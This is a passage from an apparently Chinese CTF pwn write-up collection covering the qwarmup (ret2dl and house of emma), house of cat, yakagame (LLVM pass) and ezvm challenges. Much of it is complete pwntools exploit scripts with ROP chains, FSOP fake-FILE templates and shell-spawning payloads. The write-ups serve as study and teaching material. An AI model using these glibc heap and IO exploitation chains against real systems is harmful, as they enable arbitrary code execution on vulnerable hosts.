payload+=p64(pop_rdi)+p64(read_n)+p64(call_libc_start_main)
payload=payload.ljust(0x400,'\x00')
sleep(0.1)
io.send(payload)
payload=p64(csu_pop)+p64(0x100000000-offset_init2strncmp)+p64(0x601318+0x3d)+p64(0)*4+p64(magic_gadget)
payload+=p64(csu_pop)+p64(0x100000000-offset_exit_funcs_lock2syscall)+p64(0x601310+0x3d)+p64(0)*4+p64(magic_gadget)
payload+=p64(csu_pop)+ret_csu(elf.got['read'],0,0x601800,2)+p64(0)*6
payload+=p64(csu_pop)+ret_csu(0x601310,0x601350+0x3f8,0,0)+p64(0)*6 #open
payload+=p64(csu_pop)+ret_csu(elf.got['read'],3,0x601800,0x30)+p64(0)*6 #read
payload+=p64(csu_pop)+ret_csu(elf.got['read'],0,0x601ff8,8)+p64(0)*6
payload+=p64(csu_pop)+ret_csu(0x601318,0x601800+i,0x601fff,2)+p64(0)*6
payload+=p64(pop_rdi)+p64(0x601700)+p64(pop_rsi_r15)+p64(0x100)+p64(0)+p64(read_n)
payload=payload.ljust(0x3f8,'\x00')
payload+='flag'.ljust(8,'\x00')
sleep(0.1)
io.send(payload)
sleep(0.1)
io.send('aa')
sleep(0.1)
io.send('a'*7+j)
sleep(0.1)
io.recv(timeout=0.5)
io.send('a'*0x100)
io.close()
except EOFError:
flag+=j
print(flag)
if j=='}':
exit()
io.close()
break

if __name__ == '__main__':
main()

好题,就是比赛的时候做不出来,看了大佬的wp复现一下

vMvpSP.png

首先能申请一个任意大小的chunk,然后输入一个偏移offset,输入一个字节value,使chunk[offset]=value,即任意地址写。

一次写之后,会将size的低两字节赋值为0,再检查size是否为0,是的话就可以继续任意地址写,否则退出程序。

如果我们输入的size小于两字节的话,那么就可以无限任意地址写,但这样子申请到的chunk距离libc就很远,没办法往libc地址上写;而如果我们申请一个很大的chunk,比如0x30000,就可以在libc附近得到一块内存,然而这样就只能任意地址写一次。

vQzn0O.png

程序剩下一个RELRO没有完全开启,这样一来got表就是可写的,函数需要经过延迟绑定才能够确定真实地址。

在dl_resolve中,主要涉及到的是link_map结构体,ret2dl的具体细节我忘记了,这里就记录一下从题目中了解到的一些信息

如何定位link_map结构体?

vQzD9s.png

在rtld_global结构体中,ns_loaded就是link_map结构体指针

vQzr3n.png

l_next指向的就是下一个link_map结构体。经过调试,0x7f85836982e0就是write函数的link_map结构体。

l_addr实际上是pie的基地址

vlSkVS.png

dl_resolve解析完成之后,会将函数的真实地址写入l_addr+sym.got位置处,也就是对应函数的got表中。如果我们将l_addr改大,那么函数的真实地址也会写入往后偏移的地址。

因此我们可以利用这一机制,修改l_addr的末尾一字节,使得dl_resolve将write函数的真实地址的高4字节写入到size中,这样就会覆盖掉原有的size,如下图所示

vlSLMq.png

如此一来,我们就有了无限任意地址写的机会。

然后由于write的真实地址没有写到write的got表中,所以write会一直进行dl_resolve来解析地址。

dl_resolve会调用dl_fixup函数,dl_fixup函数又会调用_dl_lookup_symbol_x函数

vlpGef.png

这个函数的第一个参数就是要解析的函数名

vlpYTS.png

sym->st_name对同一个函数而言是固定值,比如解析write函数,sym->st_name就是0x22,strtab定义如下

1
2
3
struct link_map *l
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
#define DT_STRTAB 5 /* Address of string table */

这个strtab实际上就是指向link_map结构体中的l_info数组中的下标为5的值,如下

vl13Cj.png

vl1NrV.png

前八字节为函数名的长度,后八字节加上sym->st_name就能找到对应的函数名。

dl_resolve是根据函数符号来确定要调用的函数的,如果我们能伪造函数名,就能够实现任意函数调用。

首先要泄露libc地址,由于程序使用的是write,write不会涉及到FILE结构体,如果我们只将IO_2_1_stdout结构体修改,并不能够泄露出libc地址。如何解决?

首先还是对IO_2_1_stdout进行修改,然后使用任意函数调用,调用IO_flush_all这个函数,随后就能够输出libc地址。

现在有了libc地址,任意地址写,任意函数调用,如何打?

采用的是house of emma,打io_cookie_write函数。如何触发?还是调用IO_flush_all,这个函数最终会调用IO_str_overflow,构造好vtable的偏移,使得调用IO_str_overflow时调用io_cookie_write,然后执行srop,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.log_level='debug'
io=process('./qwarmup')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def write(offset,content):
for i in range(len(content)):
io.send(p64(offset+i))
#gdb.attach(io)
io.send(content[i])
io.recvuntil('Success!')

io.send(p32(0xf0000))
write(0x36a2d0,'\x70')
write(0x30e770,p32(0xfbad1800))
write(0x30e770+0x20+0x8,p8(0xff))

write(0x36a108+0x22,"_IO_flush_all")
io.send(p64(0x36a338))
io.send(p8(0xb8))
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x21ba70
log.success('libc_base => {}'.format(hex(libc_base)))
setcontext_addr=libc_base+libc.symbols['setcontext']
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0
syscall_ret=libc_base+0x0000000000091396
pcop_addr=libc_base+0x00000000001675b0
ret=libc_base+0x00000000000f8b56
'''
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
'''
io_cookie_jumps=libc_base+0x215b80
pointer_gaurd_addr_offset=0xf1760
io_2_1_stderr_offset=0x30e690
srop_addr=libc_base-0xf3ff0

write(0x36a338,p8(0x78))
write(pointer_gaurd_addr_offset,p64(0))
write(io_2_1_stderr_offset+0x28,p64(0xffffffffffffffff))
write(io_2_1_stderr_offset+0xd8,p64(io_cookie_jumps+0x60))
enc=((pcop_addr^0)>>(64-0x11))|((pcop_addr^0)<<0x11)
write(io_2_1_stderr_offset+0xe0,p64(srop_addr))
write(io_2_1_stderr_offset+0xf0,p64(enc))

payload=p64(0)+p64(srop_addr+0x10-0x20)
payload+=p64(setcontext_addr+61)
payload=payload.ljust(0xa0-0x10,'\x00')
payload+=p64(srop_addr+0xa0)+p64(ret)
payload+=p64(pop_rdi)+p64(srop_addr+0x200)+p64(pop_rsi)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall_ret)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(srop_addr+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(libc_base+libc.symbols['read'])
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(srop_addr+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(libc_base+libc.symbols['write'])
payload=payload.ljust(0x200,'\x00')
payload+='./flag'.ljust(0x8,'\x00')
write(0,payload)


io.send(p64(0x36a338))
io.send(p8(0xb8))
io.interactive()

0xE.QWB2022 house of cat

这道题在比赛的时候我用的是house of emma做出来的。预期解是一种新的攻击手法,命名为house of cat

house of cat只需要一次任意地址写,覆盖io_list_all或者stderr为一个堆地址即可,无需覆盖pointer_guard。

这个攻击手法利用的是_IO_wfile_jumps虚表中的_IO_wfile_seekoff函数

v1k5rj.png

_IO_wfile_seekoff源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);

/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

/* Flush unwritten characters.
(This may do an unneeded write if we seek within the buffer.
But to be able to switch to reading, we would need to set
egptr to pptr. That can't be done in the current design,
which assumes file_ptr() is eGptr. Anyway, since we probably
end up flushing when we close(), it doesn't make much difference.)
FIXME: simulate mem-mapped files. */
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
....
}

如果mode!=0fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base会调用_IO_switch_to_wget_mode

_wide_data是一个_IO_wide_data类型的结构体指针

v1EepT.png

再看到_IO_switch_to_wget_mode的汇编

v1EdnH.png

rdi是fake_IO_FILE的地址,也就是通过largebin attack写入到io_list_all或者stderr中的堆地址,我们可以控制rax,rdx,构造好堆布局,在最后call的时候调用setcontext即可,然后跳转到rsp执行orw即可。

从作者那弄来的构造模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_io_addr=heapbase+0xb00
next_chain = 0
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)#
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

可以通过FSOP或者malloc_assert来触发攻击,FSOP最后会调用IO_str_overflow,malloc_assert最后会调用_IO_new_file_xsputn。

0xF.QWB2022 yakagame

比赛时因为c++太差,一个功能点没逆明白,没做出来,看了大佬的wp之后发觉自己就差那临门一脚了。

一道llvmpwn,难度并不算大,yaka.so中实现了一个打boss的功能

v3Mzzn.png

入口函数必须为gamestart

v3QCLV.png

接着如果匹配到fight函数,则需要一个参数index,如果weapon[index]>boss,就将score赋值为weapon[index]-boss,而weapon为char类型,最大值只能为127.

如果score>0x12345678,就会触发后门函数

v3QTfJ.png

很明显这就是我们的目标

v3QXm6.png

merge功能要有两个参数index1和index2,实现了weapon[index1]+=weapon[index2]的功能。

v3lP1A.png

destroy功能将指定的weapon清零,upgrade将weapon数组都赋上一个初值。

v3lV78.png

还有以上这些功能,对cmd进行操作。

如果没有匹配到以上任何功能, 就会进入到如下的功能

v3lW3d.png

这一段涉及到了C++的map库,比赛的时候我就是在这里没看太明白,现在想来当时如果查一下map的用法,写一点demo反编译一下可能就有思路了。

map和python中的dict类似,其内容都是键值对形式。

题目中map的类型是<string,char>,即键为string类型,是函数名,值为char类型,是函数的参数。进入while循环中后,会从遍历map,查找是否有值和此时的函数名相同,如果相同的话,就会将weaponlist[v33]赋值为函数的参数,如果不相同就将v33加1。需要注意的是,v33是char类型的,可以向上溢出。

v31LdK.png

score和cmd都位于weaponlist上方。

所以,可以通过这个功能实现对score和cmd的修改。

将score修改成0,然后就可以调用后门函数了,还得解决cmd的问题,cmd的初始值是一段加密后的值

v386EV.png

上面提到的那几个奇怪的函数就是用来对这段cmd进行解码的。但还有一个更简单的方法,因为opt-8并没有开启PIE,所以我们可以直接从opt-8中找sh字符串的地址,将cmd修改为sh的地址即可。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
void fight(int weapon){return;}
void merge(int weapon1, int weapon2){return;}
void destroy(int weapon){return;}
void upgrade(int val){return;}
void wuxiangdeyidao(){return;}
void zhanjinniuza(){return;}
void guobapenhuo(){return;}
void tiandongwanxiang(){return;}
void other000(int unknown){return;}
void other001(int unknown){return;}
void other002(int unknown){return;}
void other003(int unknown){return;}
void other004(int unknown){return;}
void other005(int unknown){return;}
void other006(int unknown){return;}
void other007(int unknown){return;}
void other008(int unknown){return;}
void other009(int unknown){return;}
void other010(int unknown){return;}
void other011(int unknown){return;}
void other012(int unknown){return;}
void other013(int unknown){return;}
void other014(int unknown){return;}
void other015(int unknown){return;}
void other016(int unknown){return;}
void other017(int unknown){return;}
void other018(int unknown){return;}
void other019(int unknown){return;}
void other020(int unknown){return;}
void other021(int unknown){return;}
void other022(int unknown){return;}
void other023(int unknown){return;}
void other024(int unknown){return;}
void other025(int unknown){return;}
void other026(int unknown){return;}
void other027(int unknown){return;}
void other028(int unknown){return;}
void other029(int unknown){return;}
void other030(int unknown){return;}
void other031(int unknown){return;}
void other032(int unknown){return;}
void other033(int unknown){return;}
void other034(int unknown){return;}
void other035(int unknown){return;}
void other036(int unknown){return;}
void other037(int unknown){return;}
void other038(int unknown){return;}
void other039(int unknown){return;}
void other040(int unknown){return;}
void other041(int unknown){return;}
void other042(int unknown){return;}
void other043(int unknown){return;}
void other044(int unknown){return;}
void other045(int unknown){return;}
void other046(int unknown){return;}
void other047(int unknown){return;}
void other048(int unknown){return;}
void other049(int unknown){return;}
void other050(int unknown){return;}
void other051(int unknown){return;}
void other052(int unknown){return;}
void other053(int unknown){return;}
void other054(int unknown){return;}
void other055(int unknown){return;}
void other056(int unknown){return;}
void other057(int unknown){return;}
void other058(int unknown){return;}
void other059(int unknown){return;}
void other060(int unknown){return;}
void other061(int unknown){return;}
void other062(int unknown){return;}
void other063(int unknown){return;}
void other064(int unknown){return;}
void other065(int unknown){return;}
void other066(int unknown){return;}
void other067(int unknown){return;}
void other068(int unknown){return;}
void other069(int unknown){return;}
void other070(int unknown){return;}
void other071(int unknown){return;}
void other072(int unknown){return;}
void other073(int unknown){return;}
void other074(int unknown){return;}
void other075(int unknown){return;}
void other076(int unknown){return;}
void other077(int unknown){return;}
void other078(int unknown){return;}
void other079(int unknown){return;}
void other080(int unknown){return;}
void other081(int unknown){return;}
void other082(int unknown){return;}
void other083(int unknown){return;}
void other084(int unknown){return;}
void other085(int unknown){return;}
void other086(int unknown){return;}
void other087(int unknown){return;}
void other088(int unknown){return;}
void other089(int unknown){return;}
void other090(int unknown){return;}
void other091(int unknown){return;}
void other092(int unknown){return;}
void other093(int unknown){return;}
void other094(int unknown){return;}
void other095(int unknown){return;}
void other096(int unknown){return;}
void other097(int unknown){return;}
void other098(int unknown){return;}
void other099(int unknown){return;}
void other100(int unknown){return;}
void other101(int unknown){return;}
void other102(int unknown){return;}
void other103(int unknown){return;}
void other104(int unknown){return;}
void other105(int unknown){return;}
void other106(int unknown){return;}
void other107(int unknown){return;}
void other108(int unknown){return;}
void other109(int unknown){return;}
void other110(int unknown){return;}
void other111(int unknown){return;}
void other112(int unknown){return;}
void other113(int unknown){return;}
void other114(int unknown){return;}
void other115(int unknown){return;}
void other116(int unknown){return;}
void other117(int unknown){return;}
void other118(int unknown){return;}
void other119(int unknown){return;}
void other120(int unknown){return;}
void other121(int unknown){return;}
void other122(int unknown){return;}
void other123(int unknown){return;}
void other124(int unknown){return;}
void other125(int unknown){return;}
void other126(int unknown){return;}
void other127(int unknown){return;}
void other128(int unknown){return;}
void other129(int unknown){return;}
void other130(int unknown){return;}
void other131(int unknown){return;}
void other132(int unknown){return;}
void other133(int unknown){return;}
void other134(int unknown){return;}
void other135(int unknown){return;}
void other136(int unknown){return;}
void other137(int unknown){return;}
void other138(int unknown){return;}
void other139(int unknown){return;}
void other140(int unknown){return;}
void other141(int unknown){return;}
void other142(int unknown){return;}
void other143(int unknown){return;}
void other144(int unknown){return;}
void other145(int unknown){return;}
void other146(int unknown){return;}
void other147(int unknown){return;}
void other148(int unknown){return;}
void other149(int unknown){return;}
void other150(int unknown){return;}
void other151(int unknown){return;}
void other152(int unknown){return;}
void other153(int unknown){return;}
void other154(int unknown){return;}
void other155(int unknown){return;}
void other156(int unknown){return;}
void other157(int unknown){return;}
void other158(int unknown){return;}
void other159(int unknown){return;}
void other160(int unknown){return;}
void other161(int unknown){return;}
void other162(int unknown){return;}
void other163(int unknown){return;}
void other164(int unknown){return;}
void other165(int unknown){return;}
void other166(int unknown){return;}
void other167(int unknown){return;}
void other168(int unknown){return;}
void other169(int unknown){return;}
void other170(int unknown){return;}
void other171(int unknown){return;}
void other172(int unknown){return;}
void other173(int unknown){return;}
void other174(int unknown){return;}
void other175(int unknown){return;}
void other176(int unknown){return;}
void other177(int unknown){return;}
void other178(int unknown){return;}
void other179(int unknown){return;}
void other180(int unknown){return;}
void other181(int unknown){return;}
void other182(int unknown){return;}
void other183(int unknown){return;}
void other184(int unknown){return;}
void other185(int unknown){return;}
void other186(int unknown){return;}
void other187(int unknown){return;}
void other188(int unknown){return;}
void other189(int unknown){return;}
void other190(int unknown){return;}
void other191(int unknown){return;}
void other192(int unknown){return;}
void other193(int unknown){return;}
void other194(int unknown){return;}
void other195(int unknown){return;}
void other196(int unknown){return;}
void other197(int unknown){return;}
void other198(int unknown){return;}
void other199(int unknown){return;}
void other200(int unknown){return;}
void other201(int unknown){return;}
void other202(int unknown){return;}
void other203(int unknown){return;}
void other204(int unknown){return;}
void other205(int unknown){return;}
void other206(int unknown){return;}
void other207(int unknown){return;}
void other208(int unknown){return;}
void other209(int unknown){return;}
void other210(int unknown){return;}
void other211(int unknown){return;}
void other212(int unknown){return;}
void other213(int unknown){return;}
void other214(int unknown){return;}
void other215(int unknown){return;}
void other216(int unknown){return;}
void other217(int unknown){return;}
void other218(int unknown){return;}
void other219(int unknown){return;}
void other220(int unknown){return;}
void other221(int unknown){return;}
void other222(int unknown){return;}
void other223(int unknown){return;}
void other224(int unknown){return;}
void other225(int unknown){return;}
void other226(int unknown){return;}
void other227(int unknown){return;}
void other228(int unknown){return;}
void other229(int unknown){return;}
void other230(int unknown){return;}
void other231(int unknown){return;}
void other232(int unknown){return;}
void other233(int unknown){return;}
void other234(int unknown){return;}
void other235(int unknown){return;}
void other236(int unknown){return;}
void other237(int unknown){return;}
void other238(int unknown){return;}
void other239(int unknown){return;}
void other240(int unknown){return;}
void other241(int unknown){return;}
void other242(int unknown){return;}
void other243(int unknown){return;}
void other244(int unknown){return;}
void other245(int unknown){return;}
void other246(int unknown){return;}
void other247(int unknown){return;}
void other248(int unknown){return;}
void other249(int unknown){return;}
void other250(int unknown){return;}
void other251(int unknown){return;}
void other252(int unknown){return;}
void other253(int unknown){return;}
void other254(int unknown){return;}
void other255(int unknown){return;}

void gamestart(){

other000(233);
other001(233);
other002(233);
other003(233);
other004(233);
other005(233);
other006(233);
other007(233);
other008(233);
other009(233);
other010(233);
other011(233);
other012(233);
other013(233);
other014(233);
other015(233);
other016(233);
other017(233);
other018(233);
other019(233);
other020(233);
other021(233);
other022(233);
other023(233);
other024(233);
other025(233);
other026(233);
other027(233);
other028(233);
other029(233);
other030(233);
other031(233);
other032(233);
other033(233);
other034(233);
other035(233);
other036(233);
other037(233);
other038(233);
other039(233);
other040(233);
other041(233);
other042(233);
other043(233);
other044(233);
other045(233);
other046(233);
other047(233);
other048(233);
other049(233);
other050(233);
other051(233);
other052(233);
other053(233);
other054(233);
other055(233);
other056(233);
other057(233);
other058(233);
other059(233);
other060(233);
other061(233);
other062(233);
other063(233);
other064(233);
other065(233);
other066(233);
other067(233);
other068(233);
other069(233);
other070(233);
other071(233);
other072(233);
other073(233);
other074(233);
other075(233);
other076(233);
other077(233);
other078(233);
other079(233);
other080(233);
other081(233);
other082(233);
other083(233);
other084(233);
other085(233);
other086(233);
other087(233);
other088(233);
other089(233);
other090(233);
other091(233);
other092(233);
other093(233);
other094(233);
other095(233);
other096(233);
other097(233);
other098(233);
other099(233);
other100(233);
other101(233);
other102(233);
other103(233);
other104(233);
other105(233);
other106(233);
other107(233);
other108(233);
other109(233);
other110(233);
other111(233);
other112(233);
other113(233);
other114(233);
other115(233);
other116(233);
other117(233);
other118(233);
other119(233);
other120(233);
other121(233);
other122(233);
other123(233);
other124(233);
other125(233);
other126(233);
other127(233);
other128(233);
other129(233);
other130(233);
other131(233);
other132(233);
other133(233);
other134(233);
other135(233);
other136(233);
other137(233);
other138(233);
other139(233);
other140(233);
other141(233);
other142(233);
other143(233);
other144(233);
other145(233);
other146(233);
other147(233);
other148(233);
other149(233);
other150(233);
other151(233);
other152(233);
other153(233);
other154(233);
other155(233);
other156(233);
other157(233);
other158(233);
other159(233);
other160(233);
other161(233);
other162(233);
other163(233);
other164(233);
other165(233);
other166(233);
other167(233);
other168(233);
other169(233);
other170(233);
other171(233);
other172(233);
other173(233);
other174(233);
other175(233);
other176(233);
other177(233);
other178(233);
other179(233);
other180(233);
other181(233);
other182(233);
other183(233);
other184(233);
other185(233);
other186(233);
other187(233);
other188(233);
other189(233);
other190(233);
other191(233);
other192(233);
other193(233);
other194(233);
other195(233);
other196(233);
other197(233);
other198(233);
other199(233);
other200(233);
other201(233);
other202(233);
other203(233);
other204(233);
other205(233);
other206(233);
other207(233);
other208(233);
other209(233);
other210(233);
other211(233);
other212(233);
other213(233);
other214(233);
other215(233);
other216(233);
other217(233);
other218(233);
other219(233);
other220(233);
other221(233);
other222(233);
other223(233);
other224(233);
other225(233);
other226(233);
other227(233);
other228(233);
other229(233);
other230(233);
other231(233);
other232(0xec);
other233(0xfd);
other234(0x6f);
other235(0);
other236(0);
other237(0);
other238(0);
other239(0);
other240(0);
other241(0);
other242(0x40);
other243(233);
other244(233);
other245(233);
other246(233);
other247(233);
other248(233);
other249(233);
other250(233);
other251(233);
other252(233);
other253(233);
other254(233);
other255(233);
other232(0xec);
other233(0xfd);
other234(0x6f);
other240(0);
other241(0);
other242(0x40);
fight(0);
}

0x10.0CTF/TCTF2022 ezvm 【虚拟机逆向,侧信道泄露数据,任意地址写】

xABrSU.png

一道可以多次输入的vmpwn

vm的结构体大概如下

1
2
3
4
5
6
7
8
9
10
11
struct vm
{
char *code;
int64_t *memory;
int64_t *stack;
int64_t codesize;
int64_t memcnt;
int64_t regs[4];
int64_t rip;
int64_t rsp;
};

xABRT1.png

在这里,当输入类似0x2000000000000020mem_cnt时,后续申请到的memory大小就为0x100

xABq0A.png

在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。

xAD0HA.png

当opcode大于0x17时,会输出what???,可以根据这个构造盲注来泄露libc地址

首先将libc地址push到栈上,然后将1<<i(5<=i<40)也push到栈上

然后通过0x9的按位与功能

xADc38.png

检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
leak=0
for i in range(5,40,1):
print("leaking bit"+str(i)+':'+str(bin(1<<i)))
code=p8(0x16)+p8(0)+p64(0) #mov reg[0],mem[0] 将内存中的一个数据,也就是libc地址mov至r0中
code+=p8(0)+p8(0) #push r0 将libc地址push到栈上
code+=p8(0x14)+p8(1)+p64(1<<i) #mov reg[1],1<<i 将1<<i送入r1中,i为5时,即100000
code+=p8(0)+p8(1) #push r1 将r1 push到栈上
code+=p8(0x9) #AND r0=r0&r1
code+=p8(0x10)+p64(1) #如果r0为1,就执行0x18这个opcode,如果不为1,就执行0x17这条opcode
code+=p8(0x18)+p8(0x17)
io.recvuntil('size:\n')
io.sendline(str(len(code)))
io.recvuntil('memory count:\n')
io.sendline('256')
io.recvuntil('code:\n')

io.sendline(code)
data=io.recvuntil('finish!\n',drop=True)
if 'what' in data:
leak|=(1<<i)

leak|=0x7f0000000000

opcode为0x10时,操作如下

image-20230201152626237

这里检查栈顶是否为0,不为0的话就继续往下执行,为0的话就跳转到v12继续执行。v12为当前指令的地址加上一个偏移量。

拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors来getshell

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level='debug'
io=process('./ezvm')
libc=ELF('./libc-2.35.so')

io.recvuntil('Welcome to 0ctf2022!!\n')
io.sendline('lock')
io.recvuntil('size:\n')
io.sendline('38')
io.recvuntil('memory count:\n')
io.sendline('256')
code=p8(0x17)+p8(0xff)*36
io.recvuntil('code:\n')
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('y')

leak=0
for i in range(5,40,1):
print("leaking bit"+str(i)+':'+str(bin(1<<i)))
code=p8(0x16)+p8(0)+p64(0) #mov reg[0],mem[0]
code+=p8(0)+p8(0) #push r0
code+=p8(0x14)+p8(1)+p64(1<<i) #mov reg[1],1<<i
code+=p8(0)+p8(1) #push r1
code+=p8(0x9) #AND
code+=p8(0x10)+p64(1)
code+=p8(0x18)+p8(0x17)
io.recvuntil('size:\n')
io.sendline(str(len(code)))
io.recvuntil('memory count:\n')
io.sendline('256')
io.recvuntil('code:\n')

io.sendline(code)
gdb.attach(io)
pause()
data=io.recvuntil('finish!\n',drop=True)
if 'what' in data:
leak|=(1<<i)

leak|=0x7f0000000000
log.success('leak => {}'.format(hex(leak)))
libc_base=leak-0x219ce0
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh\x00').next()
tls_dtor_list_addr=libc_base-0x28c0-0x58
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))

size = 0x2000000000030000
io.recvuntil('size:\n')
io.sendline('100')
io.recvuntil('memory count:\n')
io.sendline(str(size))
code=p8(0x15)+p8(0)+p64(0x302ec) #mov mem[0x302eb],reg[0]
enc=((system_addr^0)>>(64-0x11))|((system_addr^0)<<0x11)
code+=p8(0x14)+p8(1)+p64(enc) #mov reg[1],system_addr
code+=p8(0x14)+p8(2)+p64(binsh_addr) #mov reg[2],binsh_addr
code+=p8(0x14)+p8(3)+p64(libc_base+0x220000) #mov reg[3],libc_base+0x220000
code+=p8(0x15)+p8(3)+p64(0x302db)
code+=p8(0x15)+p8(1)+p64(0x747fe)
code+=p8(0x15)+p8(2)+p64(0x747ff)
io.recvuntil('code:\n')
#gdb.attach(io)
io.sendline(code)
io.recvuntil('continue?\n')
io.sendline('bye bye')



io.interactive()

0x11.第五空间2022 toolkit 【strstr空字符截断,整数溢出,c++异常捕获】

这是一道考察c++知识点的题目

image-20230201172300580

有这么些功能,还有一个额外的功能

image-20230201172332866

image-20230201172342944

/dev/urandom中读取0x30个字节,然后再从标准输入读取0x250个字节到password,然后再从password中查找是否有刚刚读取的那0x30个随机数,如果有的话就输出一个.text段的地址,可以得到程序加载的基地址。

在这里进行查找使用的是strstr函数,这个函数会被\x00截断掉,所以如果随机数的开头是\x00就可以绕过检查,那么,随机读取0x30个字符,开头为\x00的几率有多大,可以使用下面的程序来测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include<stdio.h>
int main(){
char buf[64];
int count = 0;
while(1){
memset(buf, 0, 64);
int fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("Error!");
exit(0);
}
read(fd, buf, 0x30uLL);
